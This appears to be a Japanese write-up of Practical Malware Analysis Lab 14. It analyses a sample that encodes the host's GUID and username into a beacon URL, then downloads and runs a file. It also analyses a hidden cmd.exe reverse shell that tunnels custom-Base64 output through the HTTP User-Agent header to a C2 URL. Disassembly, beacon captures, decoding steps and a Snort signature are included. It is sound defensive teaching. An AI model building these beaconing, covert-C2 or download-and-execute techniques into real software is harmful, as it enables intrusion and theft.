Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab14のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。
Lab 14-1
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab14-01.exe | 32ビット EXE | 53CBA9AF8D65FADBD0F7E5F9FF15CAD3 |
1. Which networking libraries does the malware use, and what are their advantages?
このマルウェアはurlmon.dllよりURLDownloadToCacheFileAをインポートしている。この関数の利点は、1個の関数を呼び出すだけでファイルのダンロードを行えることである。また、ファイルはキャッシュ・ディレクトリに保存されるのでユーザーの目に触れにくい。
2. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?
マルウェアを実行したところ、www.practicalmalwareanalysis[.]com
に対して以下のようなHTTPリクエストを送信した。
GET /ODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaa/a.png HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
URLパス名のODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaa
をBase64デコードすると、以下の結果が得られた。
$ echo -n ODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaa | base64 -D
80:6e:6f:6e:69:63-user�
マルウェアをIDAで解析したところ、以下のことが判明した。
このマルウェアはシステムのハードウェア・プロファイル (GetCurrentHwProfileA) よりGUIDとカレント・スレッドを実行しているユーザー名 (GetUserNameA)を取得する。
.text:004012B2 8D 8D 7C FF FE FF lea ecx, [ebp+HwProfileInfo]
.text:004012B8 51 push ecx ; lpHwProfileInfo
.text:004012B9 FF 15 00 50 40 00 call ds:GetCurrentHwProfileA
.text:004012BF 0F BE 95 A4 FF FE FF movsx edx, [ebp+HwProfileInfo.szHwProfileGuid+24h]
.text:004012C6 52 push edx
.text:004012C7 0F BE 85 A3 FF FE FF movsx eax, [ebp+HwProfileInfo.szHwProfileGuid+23h]
.text:004012CE 50 push eax
.text:004012CF 0F BE 8D A2 FF FE FF movsx ecx, [ebp+HwProfileInfo.szHwProfileGuid+22h]
.text:004012D6 51 push ecx
.text:004012D7 0F BE 95 A1 FF FE FF movsx edx, [ebp+HwProfileInfo.szHwProfileGuid+21h]
.text:004012DE 52 push edx
.text:004012DF 0F BE 85 A0 FF FE FF movsx eax, [ebp+HwProfileInfo.szHwProfileGuid+20h]
.text:004012E6 50 push eax
.text:004012E7 0F BE 8D 9F FF FE FF movsx ecx, [ebp+HwProfileInfo.szHwProfileGuid+1Fh]
.text:004012EE 51 push ecx
.text:004012EF 0F BE 95 9E FF FE FF movsx edx, [ebp+HwProfileInfo.szHwProfileGuid+1Eh]
.text:004012F6 52 push edx
.text:004012F7 0F BE 85 9D FF FE FF movsx eax, [ebp+HwProfileInfo.szHwProfileGuid+1Dh]
.text:004012FE 50 push eax
.text:004012FF 0F BE 8D 9C FF FE FF movsx ecx, [ebp+HwProfileInfo.szHwProfileGuid+1Ch]
.text:00401306 51 push ecx
.text:00401307 0F BE 95 9B FF FE FF movsx edx, [ebp+HwProfileInfo.szHwProfileGuid+1Bh]
.text:0040130E 52 push edx
.text:0040130F 0F BE 85 9A FF FE FF movsx eax, [ebp+HwProfileInfo.szHwProfileGuid+1Ah]
.text:00401316 50 push eax
.text:00401317 0F BE 8D 99 FF FE FF movsx ecx, [ebp+HwProfileInfo.szHwProfileGuid+19h]
.text:0040131E 51 push ecx
.text:0040131F 68 64 60 40 00 push offset aCCCCCCCCCCCC ; "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c"
.text:00401324 8D 95 68 FF FE FF lea edx, [ebp+var_10098]
.text:0040132A 52 push edx
.text:0040132B E8 98 01 00 00 call strcopy_4014C8
.text:00401330 83 C4 38 add esp, 38h
.text:00401333 C7 85 FC FF FE FF FF 7F+mov [ebp+pcbBuffer], 7FFFh
.text:0040133D 8D 85 FC FF FE FF lea eax, [ebp+pcbBuffer]
.text:00401343 50 push eax ; pcbBuffer
.text:00401344 8D 8D 00 80 FF FF lea ecx, [ebp+Buffer]
.text:0040134A 51 push ecx ; lpBuffer
.text:0040134B FF 15 04 50 40 00 call ds:GetUserNameA
取得したGUIDとユーザー名はサブルーチン0x4010BBに引数として渡されてBase64エンコードされた後、URLに付与される。
.text:0040135C 8D 95 00 80 FF FF lea edx, [ebp+Buffer]
.text:00401362 52 push edx ; pushes username to stack
.text:00401363 8D 85 68 FF FE FF lea eax, [ebp+var_10098]
.text:00401369 50 push eax ; pushes hardware profile to stack
.text:0040136A 68 84 60 40 00 push offset aSS ; "%s-%s"
.text:0040136F 8D 8D A0 FE FE FF lea ecx, [ebp+var_10160]
.text:00401375 51 push ecx
.text:00401376 E8 4D 01 00 00 call strcopy_4014C8 ; concatenate the hardware profile and the username
.text:0040137B 83 C4 10 add esp, 10h
.text:0040137E 68 FF 7F 00 00 push 7FFFh
.text:00401383 6A 00 push 0
.text:00401385 8D 95 00 00 FF FF lea edx, [ebp+var_10000]
.text:0040138B 52 push edx
.text:0040138C E8 DF 00 00 00 call sub_401470
.text:00401391 83 C4 0C add esp, 0Ch
.text:00401394 8D 85 00 00 FF FF lea eax, [ebp+var_10000]
.text:0040139A 50 push eax
.text:0040139B 8D 8D A0 FE FE FF lea ecx, [ebp+var_10160]
.text:004013A1 51 push ecx
.text:004013A2 E8 14 FD FF FF call Base64encode_4010BB ; Base64 encode the the hardware profile and the username
.text:004013A7 83 C4 08 add esp, 8
.text:004013AA loc_4013AA:
.text:004013AA 8D 95 00 00 FF FF lea edx, [ebp+var_10000]
.text:004013B0 52 push edx
.text:004013B1 E8 ED FD FF FF call Beacon_and_Download_4011A3
生成されたURLパスはサブルーチン0x4011A3に引数として渡される。サブルーチン0x4011A3は、以下のURLからファイルをダウンロードする。
http://www.practicalmalwareanalysis[.]com/<Base64 encoded GUID & username>/%c.png
.text:004011A3 55 push ebp
.text:004011A4 8B EC mov ebp, esp
.text:004011A6 81 EC 60 04 00 00 sub esp, 460h
.text:004011AC 8B 45 08 mov eax, [ebp+arg_0]
.text:004011AF 50 push eax
.text:004011B0 E8 3B 02 00 00 call sub_4013F0
.text:004011B5 83 C4 04 add esp, 4
.text:004011B8 89 85 E8 FD FF FF mov [ebp+var_218], eax
.text:004011BE 8B 4D 08 mov ecx, [ebp+arg_0]
.text:004011C1 03 8D E8 FD FF FF add ecx, [ebp+var_218]
.text:004011C7 8A 51 FF mov dl, [ecx-1]
.text:004011CA 88 95 EC FD FF FF mov [ebp+var_214], dl
.text:004011D0 0F BE 85 EC FD FF FF movsx eax, [ebp+var_214]
.text:004011D7 50 push eax
.text:004011D8 8B 4D 08 mov ecx, [ebp+arg_0]
.text:004011DB 51 push ecx
.text:004011DC 68 30 60 40 00 push offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004011E1 8D 95 F0 FD FF FF lea edx, [ebp+var_210]
.text:004011E7 52 push edx
.text:004011E8 E8 DB 02 00 00 call strcopy_4014C8
.text:004011ED 83 C4 10 add esp, 10h
.text:004011F0 6A 00 push 0 ; LPBINDSTATUSCALLBACK
.text:004011F2 6A 00 push 0 ; DWORD
.text:004011F4 68 00 02 00 00 push 200h ; cchFileName
.text:004011F9 8D 85 E8 FB FF FF lea eax, [ebp+ApplicationName]
.text:004011FF 50 push eax ; LPSTR
.text:00401200 8D 8D F0 FD FF FF lea ecx, [ebp+var_210]
.text:00401206 51 push ecx ; LPCSTR
.text:00401207 6A 00 push 0 ; LPUNKNOWN
.text:00401209 E8 D2 01 00 00 call URLDownloadToCacheFileA
ファイルのダウンロードが成功した場合、マルウェアはダウンロードしたファイルを実行する。
.text:00401221 6A 44 push 44h
.text:00401223 6A 00 push 0
.text:00401225 8D 95 A0 FB FF FF lea edx, [ebp+StartupInfo]
.text:0040122B 52 push edx
.text:0040122C E8 3F 02 00 00 call sub_401470
.text:00401231 83 C4 0C add esp, 0Ch
.text:00401234 C7 85 A0 FB FF FF 44 00+mov [ebp+StartupInfo.cb], 44h
.text:0040123E 6A 10 push 10h
.text:00401240 6A 00 push 0
.text:00401242 8D 45 F0 lea eax, [ebp+ProcessInformation]
.text:00401245 50 push eax
.text:00401246 E8 25 02 00 00 call sub_401470
.text:0040124B 83 C4 0C add esp, 0Ch
.text:0040124E 8D 4D F0 lea ecx, [ebp+ProcessInformation]
.text:00401251 51 push ecx ; lpProcessInformation
.text:00401252 8D 95 A0 FB FF FF lea edx, [ebp+StartupInfo]
.text:00401258 52 push edx ; lpStartupInfo
.text:00401259 6A 00 push 0 ; lpCurrentDirectory
.text:0040125B 6A 00 push 0 ; lpEnvironment
.text:0040125D 6A 00 push 0 ; dwCreationFlags
.text:0040125F 6A 00 push 0 ; bInheritHandles
.text:00401261 6A 00 push 0 ; lpThreadAttributes
.text:00401263 6A 00 push 0 ; lpProcessAttributes
.text:00401265 6A 00 push 0 ; lpCommandLine
.text:00401267 8D 85 E8 FB FF FF lea eax, [ebp+ApplicationName]
.text:0040126D 50 push eax ; lpApplicationName
.text:0040126E FF 15 10 50 40 00 call ds:CreateProcessA
.text:00401274 85 C0 test eax, eax
.text:00401276 75 04 jnz short loc_40127C
ファイルの実行が成功した場合、サブルーチン0x4011A3は戻り値として1をEAXに格納する。ファイルのダウンロードまたは実行のいずれかが失敗した場合は戻り値として0をEAXに格納する。
マルウェアはサブルーチン0x4011A3の戻り値を参照してファイルのダウンロード・実行の成否を確認する。
ファイルのダウンロード・実行に失敗した場合、マルウェアは60秒間スリープした後、再度ファイルのダウンロード・実行を試行する。ファイルのダウンロード・実行が成功するまで、マルウェアは60秒ごとにwww.practicalmalwareanalysis[.]com
へHTTPリクエストを送信する。
ファイルのダウンロード・実行に成功した場合、マルウェアは自身のプロセスを終了する。
.text:004013AA loc_4013AA:
.text:004013AA 8D 95 00 00 FF FF lea edx, [ebp+var_10000]
.text:004013B0 52 push edx
.text:004013B1 E8 ED FD FF FF call Beacon_and_Download_4011A3
.text:004013B6 83 C4 04 add esp, 4
.text:004013B9 89 85 F8 FF FE FF mov [ebp+var_10008], eax
.text:004013BF 83 BD F8 FF FE FF 00 cmp [ebp+var_10008], 0
.text:004013C6 74 02 jz short loc_4013CA
.text:004013CA
.text:004013CA loc_4013CA: ; dwMilliseconds
.text:004013CA 68 60 EA 00 00 push 60000
.text:004013CF FF 15 0C 50 40 00 call ds:Sleep
.text:004013D5 EB D3 jmp short loc_4013AA
3. Why might the information embedded in the networking beacon be of interest to the attacker?
マルウェアを実行しているGUIDやユーザー名を参照することで次の攻撃へ役立てることが出来る。(マルウェアを実行しているユーザーはAdministratorか?そうだった場合、同じネットワーク内の他のシステムに対してもアクセスする権限を有しているか?など)
4. Does the malware use standard Base64 encoding? If not, how is the encoding unusual?
Base64エンコードの処理はサブルーチン0x4010BBの中で規定されている。アドレス0x4050C0に以下のBase64変換テーブルが格納されている。
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789+/
通常のBase64エンコードと異なり、パディング用の文字に=
ではなくa
を用いている。
.text:0040103E 8A 8A C0 50 40 00 mov cl, ds:byte_4050C0[edx]
.text:00401044 88 48 01 mov [eax+1], cl
.text:00401047 83 7D 10 01 cmp [ebp+arg_8], 1
.text:0040104B 7E 2D jle short loc_40107A
.text:0040107A loc_40107A:
.text:0040107A C7 45 FC 61 00 00 00 mov [ebp+var_4], 'a'
.text:00401081 8B 4D 0C mov ecx, [ebp+arg_4]
.text:00401084 8A 55 FC mov dl, byte ptr [ebp+var_4]
.text:00401087 88 51 02 mov [ecx+2], dl
.text:0040108A 83 7D 10 02 cmp [ebp+arg_8], 2
.text:0040108E 7E 17 jle short loc_4010A7
.text:004010A7 loc_4010A7:
.text:004010A7 C7 45 F8 61 00 00 00 mov [ebp+var_8], 'a'
5. What is the overall purpose of this malware?
このマルウェアはインストール先のシステムのGUIDとユーザー名を取得してカスタムBase64エンコードし、エンコードした値をURLパスに付与して、www.practicalmalwareanalysis[.]com
へのHTTPリクエストに乗せて送信する。このHTTPリクエストの際にマルウェアはwww.practicalmalwareanalysis[.]com
から新たなファイルをダウンロードして実行しようとする。ファイルのダウンロード・実行が失敗した場合、60秒間スリープした後、再び先述したHTTPリクエストをサーバーに送信してファイルのダウンロード・実行を試みる。ファイルのダウンロード・実行が成功するまで、マルウェアは60秒ごとにwww.practicalmalwareanalysis[.]com
へHTTPリクエストを送信する。
ファイルのダウンロード・実行に成功した場合、マルウェアは自身のプロセスを終了する。
6. What elements of the malware's communication may be effectively detected using a network signature?
www.practicalmalwareanalysis[.]com
から.pngファイルをダウンロードしようとする通信。- パディング文字として
a
を使用しているカスタムBase64エンコードされたデータがURLパスに付与されているHTTP通信。
7. What mistakes might analysts make in trying to develop a signature for this malware?
- 動的解析の際に生成されたURLパスをそのまま検知シグネチャとして採用すること。URLパスはマルウェアを実行しているGUIDとユーザー名に基づいて生成されるので、マルウェアが異なるシステムやユーザーによって実行された場合は異なるURLパスが生成されることになる。
- Base64エンコードされたURLパスの検知シグネチャ作成の際にパディング文字として
=
を指定しまうこと。このマルウェアはパディング文字にa
を使う。
8. What set of signatures would detect this malware (and future variants?)
以下のsnortシグネチャはURLパスにBase64エンコード文字列が含まれていて、ファイル名が1文字のPNGファイルへのHTTPのGETまたはPOSTリクエストを検知する。
alert tcp any any -> any any (msg:"Lab14-01.exe Beacon"; content:"T "; offset:2; depth:3; content:"/"; content:".png HTTP/1."; distance:1; within:12; pcre:"/\/(?![a-zA-Z]{10,40})(?![0-9]{10,40})[a-zA-Z0-9]{5,40}\/.{1}\.png HTTP\/1\./";)
Lab 14-2
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab14-02.exe | 32ビット EXE | 14D4BDCC5F0FE917ABDE4B01E39A350E |
1. What are the advantages or disadvantages of coding malware to use direct IP addresses?
メリット
- ドメイン登録の手間が省ける。
- ドメインを使用しないので、DNSサーバーのログに通信の痕跡が残らない。
デメリット
- IPアドレスを遮断するだけで容易に通信を阻害できる。
- プロトコルによっては、IPアドレスと直接通信を行うのは不審な通信の兆候と受け取られる場合がある。例えばドメインではなくIPアドレスに直接リクエストを送るようなHTTP通信は(もちろん良性のケースもあるが)、不審な通信としてユーザーやシステム管理者の目を引く可能性がある。
2. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?
WININET.dllより以下の関数をインポートしている。
- InternetOpenUrlA
- InternetOpenA
- InternetReadFile
- InternetCloseHandle
メリット
- FTPやHTTP(S)通信を手軽に実装できる。
デメリット
- InternetOpenAやInternetOpenUrlAを使用するにはURLやヘッダー情報を引数として渡さなければいけない。よって引数に渡されるURLやヘッダー情報をもとに検知シグネチャを作成することが出来る。
3. What is the source of the URL that the malware uses for beaconing? What advantages does this source offer?
マルウェアを実行したところ、http://127.0.0.1/tenfour.html
に対して以下のHTTPリクエストを送信した。
GET /tenfour.html HTTP/1.1
User-Agent: (!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=
Host: 127.0.0.1
Cache-Control: no-cache
GET /tenfour.html HTTP/1.1
User-Agent: Internet Surf
Host: 127.0.0.1
Cache-Control: no-cache
通信先のURLはLoadStringAによってマルウェアのString Tablesから読み込まれる。
.text:004011D8 68 04 01 00 00 push 104h ; cchBufferMax
.text:004011DD 50 push eax ; lpBuffer
.text:004011DE 6A 01 push 1 ; uID
.text:004011E0 51 push ecx ; hInstance
.text:004011E1 FF 15 CC 20 40 00 call ds:LoadStringA ; loads http://127.0.0.1/tenfour.html from string table
URLはハードコードされているものの、画像から分かる通り、文字の合間にヌル文字(0x00)が挟まれているので、単純なstringsのチェックを回避することが出来る。IDAのString検索では上記のURLは検出されなかった。
4. Which aspect of the HTTP protocol does the malware leverages to achieve its objectives?
マルウェアはC2サーバーと通信する際、HTTPのユーザーエージェントに不審なデータを埋め込んでいた。
5. What kind of information is communicated in the malware's initial beacon?
1度目のHTTPリクエストの内容は以下の通り。ユーザーエージェントに不審なデータが埋め込まれていた。
GET /tenfour.html HTTP/1.1
User-Agent: (!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=
Host: 127.0.0.1
Cache-Control: no-cache
解析を進めたところ、サブルーチン0x401000にてカスタムBase64エンコードの処理を発見した。
.text:00401552 8B 54 24 18 mov edx, [esp+1Ch+BytesRead]
.text:00401556 42 inc edx
.text:00401557 89 54 24 18 mov [esp+1Ch+BytesRead], edx
.text:0040155B E8 A0 FA FF FF call CustomBase64_401000
.text:00401560 8D 53 14 lea edx, [ebx+14h]
.text:00401563 52 push edx ; lpszUrl
.text:00401564 55 push ebp ; int
.text:00401565 E8 E6 01 00 00 call Beacon_encrypted_UA_401750
アドレス0x403010に以下のカスタムBase64変換テーブルが格納されていた。
WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
ユーザーエージェントのデータをデコードしたところ、コマンド・プロンプトの起動画面が現れた。
よって、マルウェアはC2サーバーとの一度目の通信の際、コマンド・プロンプトを立ち上げて、その出力結果をカスタムBase64エンコードしてユーザーエージェントに埋め込み、送信することが判明した。
6. What are some disadvantages in the design of this malware's communication channel?
ユーザーエージェントの値が明らかに不自然なので、通信をキャプチャしていれば容易に異常を検知できる。ちなみに一回目以降のHTTPリクエストにはユーザーエージェントの値にInternet Surf
が指定される。このユーザーエージェントをもとに検知シグネチャを作成することも可能。
GET /tenfour.html HTTP/1.1
User-Agent: Internet Surf
Host: 127.0.0.1
Cache-Control: no-cache
7. Is the malware's encoding scheme standard?
このマルウェアが使用するBase64エンコードはカスタマイズされている。以下のカスタムのBase64変換テーブルが使用される。
WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
さらに、カスタムBase64エンコードした後に、エンコードされた文字列の冒頭に(!<
という余計なデータを付与する。ただしくデコードするには(!<
を除去しなければいけない。
.text:00401768 F3 AB rep stosd
.text:0040176A AA stosb
.text:0040176B BF 68 30 40 00 mov edi, offset asc_403068 ; "(!<"
.text:00401770 83 C9 FF or ecx, 0FFFFFFFFh
.text:00401773 33 C0 xor eax, eax
.text:00401775 83 C4 04 add esp, 4
.text:00401778 F2 AE repne scasb
冒頭に(!<
という余計なデータが付与されているので、そのままではデコードできない。
$ python custom_base64.py -d -s "(!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=" -t WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
-bash: !: event not found
デコードするには(!<
を除去しなければならない。
$ python custom_base64.py -d -s e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs= -t WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
8. How is communication terminated?
マルウェアが通信を終了する条件は以下の通り。
- C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。
- C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。
- C2サーバーから
exit
というコマンドを受信した場合。 - C2サーバーから何もデータを受信しなかった場合。
- 上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。
C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。
.text:00401372 52 push edx ; lpThreadId
.text:00401373 55 push ebp ; dwCreationFlags
.text:00401374 53 push ebx ; lpParameter
.text:00401375 68 C0 14 40 00 push offset Beacon_to_C2_4014C0 ; lpStartAddress
.text:0040137A 89 7B 08 mov [ebx+8], edi ; copies information about cmd.exe to ebx+8
.text:0040137D 8B 3D 14 20 40 00 mov edi, ds:CreateThread
.text:00401383 55 push ebp ; dwStackSize
.text:00401384 50 push eax ; lpThreadAttributes
.text:00401385 C7 44 24 38 0C 00 00 00 mov [esp+1C0h+ThreadAttributes.nLength], 0Ch
.text:0040138D 89 6C 24 3C mov [esp+1C0h+ThreadAttributes.lpSecurityDescriptor], ebp
.text:00401391 89 6C 24 40 mov [esp+1C0h+ThreadAttributes.bInheritHandle], ebp
.text:00401395 FF D7 call edi ; CreateThread ; Lab14-02.exe sends beacon
.text:00401397 3B C5 cmp eax, ebp
.text:00401399 89 43 0C mov [ebx+0Ch], eax
.text:0040139C 75 1C jnz short loc_4013BA ; terminates thread if beacon fails
.text:0040139E 55 push ebp ; dwExitCode
.text:0040139F 55 push ebp ; hThread
.text:004013A0 FF 15 10 20 40 00 call ds:TerminateThread
C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。
.text:004013CD 51 push ecx ; lpThreadId
.text:004013CE 55 push ebp ; dwCreationFlags
.text:004013CF 53 push ebx ; lpParameter
.text:004013D0 68 C0 15 40 00 push offset Recv_from_C2_4015C0 ; lpStartAddress
.text:004013D5 55 push ebp ; dwStackSize
.text:004013D6 52 push edx ; lpThreadAttributes
.text:004013D7 FF D7 call edi ; CreateThread ; Lab14-02.exe receives command from C2 server
.text:004013D9 3B C5 cmp eax, ebp
.text:004013DB 89 43 10 mov [ebx+10h], eax
.text:004013DE 75 1C jnz short loc_4013FC ; terminates thread if beacon fails
.text:004013E0 55 push ebp ; dwExitCode
.text:004013E1 55 push ebp ; hThread
.text:004013E2 FF 15 10 20 40 00 call ds:TerminateThread
C2サーバーからexit
というコマンドを受信した場合。
.text:00401672 6A 04 push 4 ; MaxCount
.text:00401674 F2 AE repne scasb
.text:00401676 F7 D1 not ecx
.text:00401678 2B F9 sub edi, ecx
.text:0040167A 68 60 30 40 00 push offset Str ; "exit"
.text:0040167F 8B C1 mov eax, ecx
.text:00401681 8B F7 mov esi, edi
.text:00401683 8B FA mov edi, edx
.text:00401685 53 push ebx ; Str1
.text:00401686 C1 E9 02 shr ecx, 2
.text:00401689 F3 A5 rep movsd
.text:0040168B 8B C8 mov ecx, eax
.text:0040168D 83 E1 03 and ecx, 3
.text:00401690 F3 A4 rep movsb
.text:00401692 E8 61 03 00 00 call _strnicmp ; check if received C2 command is "exit"
.text:00401697 83 C4 0C add esp, 0Ch
.text:0040169A 85 C0 test eax, eax
.text:0040169C 0F 84 82 00 00 00 jz loc_401724 ; exits if received C2 command is "exit"
.text:00401724 loc_401724:
.text:00401724 8B 15 A0 30 40 00 mov edx, hEvent
.text:0040172A 52 push edx ; hEvent
.text:0040172B FF 15 3C 20 40 00 call ds:SetEvent
.text:00401731 55 push ebp ; Memory
.text:00401732 E8 A9 02 00 00 call free
.text:00401737 83 C4 04 add esp, 4
.text:0040173A 6A 00 push 0 ; dwExitCode
.text:0040173C FF 15 30 20 40 00 call ds:ExitThread
C2サーバーから何もデータを受信しなかった場合。
.text:00401619 50 push eax ; lpszUrl
.text:0040161A E8 E1 01 00 00 call Read_C2response_InternetSurf_UA_401800
.text:0040161F 8B D8 mov ebx, eax ; eax points to buffer for received data
.text:00401621 83 C4 10 add esp, 10h
.text:00401624 85 DB test ebx, ebx ; check whether received data is null or not
.text:00401626 0F 84 E1 00 00 00 jz loc_40170D
.text:0040170D loc_40170D: ; void *
.text:0040170D 53 push ebx
.text:0040170E E8 DF 02 00 00 call ??3@YAXPAX@Z ; operator delete(void *)
.text:00401713 55 push ebp ; Memory
.text:00401714 E8 C7 02 00 00 call free
.text:00401719 83 C4 08 add esp, 8
.text:0040171C 6A 00 push 0 ; dwExitCode
.text:0040171E FF 15 30 20 40 00 call ds:ExitThread
上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。
.text:004013FF 6A FF push 0FFFFFFFFh ; dwMilliseconds, set to infinite
.text:00401401 89 44 24 3C mov [esp+1ACh+Handles], eax
.text:00401405 8B 4B 10 mov ecx, [ebx+10h]
.text:00401408 8D 44 24 3C lea eax, [esp+1ACh+Handles]
.text:0040140C 89 4C 24 40 mov [esp+1ACh+var_16C], ecx
.text:00401410 8B 53 08 mov edx, [ebx+8] ; copies information about cmd.exe to edx
.text:00401413 55 push ebp ; bWaitAll set to FALSE (ebp is zeroed out at 0x4011ED)
.text:00401414 50 push eax ; lpHandles to thread for C2 channel (send and recv)
.text:00401415 6A 03 push 3 ; nCount
.text:00401417 89 54 24 50 mov [esp+1B8h+var_168], edx
.text:0040141B FF 15 08 20 40 00 call ds:WaitForMultipleObjects
.text:00401421 2B C5 sub eax, ebp
.text:00401423 74 2F jz short loc_401454
.text:00401454 8B 53 0C mov edx, [ebx+0Ch]
.text:00401457 55 push ebp ; dwExitCode
.text:00401458 52 push edx ; hThread
.text:00401459 FF 15 10 20 40 00 call ds:TerminateThread ; terminates thread for C2 channel (send)
9. What is the purpose of this malware, and what role might it play in the attacker's arsenal?
このマルウェアはまずcmd.exe
を起動して、その出力結果をカスタムBase64エンコードした後、ユーザーエージェント・ヘッダーにエンコードしたデータを乗せてC2 URL http://127.0.0[.]1/tenfour.html
へ送信する。
.text:0040136A 8D 54 24 1C lea edx, [esp+1A8h+ThreadId]
.text:0040136E 8D 44 24 20 lea eax, [esp+1A8h+ThreadAttributes]
.text:00401372 52 push edx ; lpThreadId
.text:00401373 55 push ebp ; dwCreationFlags
.text:00401374 53 push ebx ; lpParameter
.text:00401375 68 C0 14 40 00 push offset Beacon_to_C2_4014C0 ; lpStartAddress
.text:0040137A 89 7B 08 mov [ebx+8], edi ; copies information about cmd.exe to ebx+8
.text:0040137D 8B 3D 14 20 40 00 mov edi, ds:CreateThread
.text:00401383 55 push ebp ; dwStackSize
.text:00401384 50 push eax ; lpThreadAttributes
.text:00401385 C7 44 24 38 0C 00 00 00 mov [esp+1C0h+ThreadAttributes.nLength], 0Ch
.text:0040138D 89 6C 24 3C mov [esp+1C0h+ThreadAttributes.lpSecurityDescriptor], ebp
.text:00401391 89 6C 24 40 mov [esp+1C0h+ThreadAttributes.bInheritHandle], ebp
.text:00401395 FF D7 call edi ; CreateThread ; Lab14-02.exe sends beacon
.text:0040153C 6A 00 push 0 ; lpOverlapped
.text:0040153E 52 push edx ; lpNumberOfBytesRead
.text:0040153F 68 57 02 00 00 push 599 ; nNumberOfBytesToRead
.text:00401544 56 push esi ; lpBuffer
.text:00401545 50 push eax ; hFile
.text:00401546 FF D7 call edi ; ReadFile
.text:00401548 8B 4C 24 10 mov ecx, [esp+14h+BytesRead]
.text:0040154C 55 push ebp
.text:0040154D 56 push esi
.text:0040154E C6 04 31 00 mov byte ptr [ecx+esi], 0
.text:00401552 8B 54 24 18 mov edx, [esp+1Ch+BytesRead]
.text:00401556 42 inc edx
.text:00401557 89 54 24 18 mov [esp+1Ch+BytesRead], edx
.text:0040155B E8 A0 FA FF FF call CustomBase64_401000
.text:00401560 8D 53 14 lea edx, [ebx+14h]
.text:00401563 52 push edx ; lpszUrl
.text:00401564 55 push ebp ; int
.text:00401565 E8 E6 01 00 00 call Beacon_encrypted_UA_401750
cmd.exe
を起動する際、画面サイズがゼロに設定されているため、コマンドプロンプトの画面は立ち上がらない。
以下のコードはcmd.exe
起動時の画面設定を行っている。この時、ebpの値はゼロになっているため、ほとんどの設定パラメーターにゼロ(またはNull)が指定されることになる。
.text:00401282 C7 44 24 44 44 00 00 00 mov [esp+1A8h+StartupInfo.cb], 44h
.text:0040128A 89 6C 24 48 mov [esp+1A8h+StartupInfo.lpReserved], ebp
.text:0040128E 8B 44 24 10 mov eax, [esp+1A8h+hWritePipe]
.text:00401292 89 6C 24 50 mov [esp+1A8h+StartupInfo.lpTitle], ebp
.text:00401296 89 6C 24 4C mov [esp+1A8h+StartupInfo.lpDesktop], ebp
